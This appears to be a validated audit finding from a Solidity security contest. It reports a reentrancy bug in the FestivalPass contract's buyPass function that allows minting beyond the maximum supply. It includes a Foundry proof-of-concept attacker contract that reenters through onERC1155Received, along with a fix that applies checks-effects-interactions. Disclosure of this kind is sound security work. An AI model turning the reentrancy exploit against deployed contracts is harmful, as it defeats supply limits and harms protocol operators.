Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Users can but more than passMaxSupply

Root + Impact

Description

  • The FestivalPass contract enforces a maximum supply limit for each pass type through the passMaxSupply mapping, checking that passSupply[collectionId] < passMaxSupply[collectionId] before
    minting.

  • However, the contract mints the pass to the buyer before incrementing the supply counter, creating a reentrancy vulnerability where malicious contracts can exploit the ERC1155 callback to
    purchase more passes than allowed.

function buyPass(uint256 collectionId) external payable {
// ... checks ...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// @> Mints before updating state (CEI pattern violation)
_mint(msg.sender, collectionId, 1, "");
// @> Supply is incremented AFTER mint, allowing reentrancy
++passSupply[collectionId];
// ... rest of function ...
}

Risk

Likelihood:

  • Malicious contracts will exploit this when they implement the onERC1155Received callback to reenter buyPass

  • Attackers will bypass supply limits whenever they want to accumulate passes beyond intended limits

Impact:

  • Protocol's pass supply caps become meaningless, allowing unlimited minting

  • Organizers lose control over pass scarcity and pricing dynamics

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract BuyPassTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
Alice public alice;
function setUp() public {
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), address(this));
alice = new Alice();
}
function test_buyPass() public {
// configure passes
uint maxSupply = 10;
festivalPass.configurePass(1, 1 ether, maxSupply);
festivalPass.configurePass(2, 2 ether, maxSupply);
festivalPass.configurePass(3, 3 ether, maxSupply);
vm.deal(address(alice), 100 ether);
alice.buyPass(festivalPass, 1);
// check Alice has more than maxSupply passes
assertGt(festivalPass.balanceOf(address(alice), 1), maxSupply);
}
}
contract Alice {
uint buyPassCount;
FestivalPass festivalPass;
function buyPass(FestivalPass _festivalPass, uint256 collectionId) public {
festivalPass = _festivalPass;
festivalPass.buyPass{value: 1 ether}(collectionId);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) public returns (bytes4) {
// reenter and buy more passes
buyPassCount++;
if (buyPassCount < 20) {
this.buyPass(festivalPass, id);
}
buyPassCount = 0;
festivalPass = FestivalPass(address(0));
return IERC1155Receiver.onERC1155Received.selector;
}
}

Recommended Mitigation

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Update state before external call
+ ++passSupply[collectionId];
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.